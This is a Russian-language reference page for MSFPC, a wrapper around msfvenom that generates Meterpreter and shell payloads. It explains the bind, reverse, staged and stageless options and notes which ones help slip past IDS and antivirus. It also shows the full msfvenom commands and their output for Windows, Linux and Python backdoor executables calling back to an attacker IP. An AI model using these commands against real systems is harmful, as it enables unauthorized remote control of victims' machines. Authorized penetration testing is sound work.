You are here: Home » Инструменты эксплуатации » MSFvenom Payload Creator (MSFPC)

MSFvenom Payload Creator (MSFPC)

Описание MSFvenom Payload Creator (MSFPC)

Быстрый способ сгенерировать различные «базовые» полезные нагрузки Meterpreter через msfvenom (часть платформы Metasploit).

MSFvenom Payload Creator (MSFPC), создатель полезной нагрузки MSFvenom, - это обёртка для создания нескольких типов полезной нагрузки на основе выбора пользователя. Идея в том, чтобы упростить насколько возможно (требуется только один ввод) создание полезной нагрузки.

Конечной целью является полная автоматизация msfvenom и Metasploit для упрощения жизни пользователя (меню выбора IP, ресурсного файла/команд msfconsole, пакетное создание полезной нагрузки и возможность вводить любые аргументы в любом порядке (в различных форматах/шаблонах).

От пользователя требуется только ввести только желаемую платформу для полезной нагрузки, либо расширение файла (напр., exe).

Примеры автоматизации:

  • Вместо IP интерфейса достаточно ввести его имя: eth0.
  • Вместо внешнего IP достаточно ввести wan (MSFPC самостоятельно определит внешний IP адрес).
  • Если нужно создать по одной каждой полезной нагрузке, то наберите loop.
  • Массовое создание полезных нагрузок — всё или по фильтрам: batch (для всего), batch msf (для каждой опции Meterpreter), batch staged (для каждой staged полезной нагрузки) или batch cmd stageless (для каждой stageless command prompt). Подробности о staged и stageless ниже.

Примечание: скрипт НЕ будет пытаться как-либо обойти антивирусные решения на какой-либо стадии.

Домашняя страница: https://github.com/g0tmi1k/mpc

Автор: g0tmi1k

Лицензия: MIT

Справка по MSFPC

Использование:

msfpc <ТИП> (<ДОМЕН/IP>) (<ПОРТ>) (<CMD/MSF>) (<BIND/REVERSE>) (<STAGED/STAGELESS>) (<TCP/HTTP/HTTPS/FIND_PORT>) (<BATCH/LOOP>) (<VERBOSE>)

В качестве <ТИПа> возможен следующий ввод:

  • APK
  • ASP
  • ASPX
  • Bash [.sh]
  • Java [.jsp]
  • Linux [.elf]
  • OSX [.macho]
  • Perl [.pl]
  • PHP
  • Powershell [.ps1]
  • Python [.py]
  • Tomcat [.war]
  • Windows [.exe // .dll]

Вместо указания <ДОМЕН/IP> вы можете ввести интерфейс и MSFPC определит его IP адрес.

При пропуске <ДОМЕН/IP> по умолчанию будет сделан переход в меню IP.

Пропуск <ПОРТа> установит значение по умолчанию 443.

<CMD> - это стандартная/родная команда оболочки/терминала для интерактивного взаимодействия.

<MSF> пользовательский кросс-платформенный шелл для получения всей мощи Metasploit.

Пропуск <CMD/MSF>, где это возможно, приведёт к дефолтному <MSF>.

Помните: Metasploit (ещё) не поддерживает <CMD/MSF> для формата любого <ТИПа>.

Полезная нагрузка <CMD> обычно меньше, чем <MSF> и проще для обхода EMET. Ограничивается поддержкой модулей пост модулей/скриптов Metasploit.

Полезная нагрузка <MSF> обычно больше чем <CMD>, поскольку она поставляется с большим количеством функций.

<BIND> открывает порт на стороне цели и атакующий к ней подключается. На целях часто заблокированы входящие соединения.

<REVERSE> заставляет цель подключиться к атакующему. Атакующему нужно открыть соответствующий порт.

Пропуск <BIND/REVERSE> установит по умолчанию <REVERSE>.

<BIND> позволяет атакующему подключиться когда он хочет. <REVERSE> требует от цели постоянно подключаться к атакующему для поддержания постоянного доступа.

<STAGED> разделяет полезную нагрузку на части, делая её меньше, но зависящей от Metasploit.

<STAGELESS> - это полностью самостоятельная полезная нагрузка. Более «стабильна», чем <STAGED>.

Пропуск <STAGED/STAGELESS>, когда это возможно, установит по умолчанию <STAGED>.

Помните: Metasploit (ещё) не поддерживает <STAGED/STAGELESS> для формата каждого <ТИПа>.

<STAGED> «лучше» в средах с низкой пропускной способностью и высокой задержкой.

<STAGELESS> считается «незаметнее» при обходе антивирусных защит. <STAGED> может работать «лучше» с IDS/IPS.

<TCP> это стандартный метод для подключения. Он наиболее совместим с ТИПАМИ как RAW. IDS могут легко его обнаружить.

<HTTP> делает связь похожей на HTTP трафик (не зашифрованный). Полезно при ограничении доступа, например, протоколом TCP 80.

<HTTPS> делает соединения похожими на (зашифрованный) с помощью SSL трафик HTTP. Полезно при контроле пакетов и ограничении доступа определёнными протоколами, например, TCP 443.

<FIND_PORT> попробует каждый порт на целевой машине в поиска выхода наружу. Полезно при фильтровании входящего/исходящего трафика файерволами. Переключиться на «allports» на основе <ТИПа>.

Пропуск <TCP/HTTP/HTTPS/FIND_PORT> установит по умолчанию <TCP>.

Изменение трафика на <HTTP>, а тем более на <HTTPS>, замедлит соединение и увеличит размер полезной нагрузки.

<BATCH> сгенерирует так много комбинаций, как это возможно: <ТИП>, <CMD + MSF>, <BIND + REVERSE>, <STAGED + STAGLESS> & <TCP + HTTP + HTTPS + FIND_PORT>

<LOOP> просто создаст по одной каждого <ТИПа>.

<VERBOSE> покажет больше информации.

Руководство по MSFPC

Страница man отсутствует.

Примеры запуска MSFPC

Полезная нагрузка для Windows и вручную указанный IP:

msfpc windows 192.168.1.10

Полезная нагрузка для Linux, IP адрес сетевого интерфейса eth0 и вручную указанный порт:

msfpc elf bind eth0 4444

Полезная нагрузка для Python, stageless command prompt:

msfpc stageless cmd py https

Полезная нагрузка каждого типа, используя IP адрес интерфейса eth1:

msfpc verbose loop eth1

Все возможные полезные нагрузки Meterpreter, используя WAN IP (внешний адрес)

msfpc msf batch wan

Полуинтерактивное создание Windows Meterpreter bind shell на порту 5555:

msfpc windows bind 5555 verbose
 [*] MSFvenom Payload Creator (MSFPC v1.4.4)

 [i] Use which interface - IP address?:
 [i]   1.) lo - 127.0.0.1
 [i]   2.) eth0 - 172.16.193.160
 [i]   3.) wan - 68.151.240.61
 [?] Select 1-3, interface or IP address: 2

 [i]        IP: 172.16.193.160
 [i]      PORT: 5555
 [i]      TYPE: windows (windows/meterpreter/bind_tcp)
 [i]     SHELL: meterpreter
 [i] DIRECTION: bind
 [i]     STAGE: staged
 [i]    METHOD: tcp
 [i]       CMD: msfvenom -p windows/meterpreter/bind_tcp -f exe \
  --platform windows -a x86 -e generic/none  LPORT=5555 \
  > '/root/windows-meterpreter-staged-bind-tcp-5555.exe'

 [i] windows meterpreter created: '/root/windows-meterpreter-staged-bind-tcp-5555.exe'

 [i] File: PE32 executable (GUI) Intel 80386, for MS Windows
 [i] Size: 76K
 [i]  MD5: 5bdb434e053fa0a9894eb88720c09e2a
 [i] SHA1: 9d51c45c76dfd947994cb4be61f5f9797b35167f

 [i] MSF handler file: '/root/windows-meterpreter-staged-bind-tcp-5555-exe.rc'
 [i] Run: msfconsole -q -r '/root/windows-meterpreter-staged-bind-tcp-5555-exe.rc'
 [?] Quick web server (for file transfer)?: python2 -m SimpleHTTPServer 8080
 [*] Done!

Автоматическая генерация полезной нагрузки Meterpreter под Windows с обратным соединением, используя IP интерфейса eth0 в качестве параметра LHOST:

msfpc windows eth0
 [*] MSFvenom Payload Creator (MSFPC v1.4.4)
 [i]   IP: 172.16.193.160
 [i] PORT: 443
 [i] TYPE: windows (windows/meterpreter/reverse_tcp)
 [i]  CMD: msfvenom -p windows/meterpreter/reverse_tcp -f exe \
  --platform windows -a x86 -e generic/none LHOST=172.16.193.160 LPORT=443 \
  > '/root/windows-meterpreter-staged-reverse-tcp-443.exe'

 [i] windows meterpreter created: '/root/windows-meterpreter-staged-reverse-tcp-443.exe'

 [i] MSF handler file: '/root/windows-meterpreter-staged-reverse-tcp-443-exe.rc'
 [i] Run: msfconsole -q -r '/root/windows-meterpreter-staged-reverse-tcp-443-exe.rc'
 [?] Quick web server (for file transfer)?: python2 -m SimpleHTTPServer 8080
 [*] Done!

Полезная нагрузка в формате Linux, полностью автоматическое создание используя вручную указанный интерфейс и порт + подробный вывод:

msfpc elf bind eth0 4444 verbose
 [*] MSFvenom Payload Creator (MSFPC v1.4.4)
 [i]        IP: 192.168.103.142
 [i]      PORT: 4444
 [i]      TYPE: linux (linux/x86/shell/bind_tcp)
 [i]     SHELL: shell
 [i] DIRECTION: bind
 [i]     STAGE: staged
 [i]    METHOD: tcp
 [i]       CMD: msfvenom -p linux/x86/shell/bind_tcp -f elf \
  --platform linux -a x86 -e generic/none  LPORT=4444 \
  > '/root/linux-shell-staged-bind-tcp-4444.elf'

 [i] linux shell created: '/root/linux-shell-staged-bind-tcp-4444.elf'

 [i] File: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, corrupted section header size
 [i] Size: 4.0K
 [i]  MD5: eed4623b765eea623f2e0206b63aad61
 [i] SHA1: 0b5dabd945ef81ec9283768054b3c22125aa9185

 [i] MSF handler file: '/root/linux-shell-staged-bind-tcp-4444-elf.rc'
 [i] Run: msfconsole -q -r '/root/linux-shell-staged-bind-tcp-4444-elf.rc'
 [?] Quick web server (for file transfer)?: python2 -m SimpleHTTPServer 8080
 [*] Done!

Полезная нагрузка в формате Python, интерактивное меню IP:

msfpc stageless cmd py tcp
 [*] MSFvenom Payload Creator (MSFPC v1.4.4)

 [i] Use which interface - IP address?:
 [i]   1.) eth0 - 192.168.103.142
 [i]   2.) lo - 127.0.0.1
 [i]   3.) wan - 31.204.154.174
 [?] Select 1-3, interface or IP address: 1

 [i]   IP: 192.168.103.142
 [i] PORT: 443
 [i] TYPE: python (python/shell_reverse_tcp)
 [i]  CMD: msfvenom -p python/shell_reverse_tcp -f raw \
  --platform python -e generic/none -a python LHOST=192.168.103.142 LPORT=443 \
  > '/root/python-shell-stageless-reverse-tcp-443.py'

 [i] python shell created: '/root/python-shell-stageless-reverse-tcp-443.py'

 [i] MSF handler file: '/root/python-shell-stageless-reverse-tcp-443-py.rc'
 [i] Run: msfconsole -q -r '/root/python-shell-stageless-reverse-tcp-443-py.rc'
 [?] Quick web server (for file transfer)?: python2 -m SimpleHTTPServer 8080
 [*] Done!

Установка MSFPC

Установка в Kali Linux

sudo apt install -y msfpc

Установка в BlackArch

sudo pacman -S metasploit
sudo wget "https://raw.githubusercontent.com/g0tmi1k/mpc/master/msfpc.sh" -O /usr/local/bin/msfpc
sudo chmod 0755 /usr/local/bin/msfpc
msfpc -h

Информация об установке в другие операционные системы будет добавлена позже.

Скриншоты MSFPC

Инструкции по MSFPC

Ссылки на инструкции будут добавлены позже.

Близкие программы:

Рекомендуемые статьи: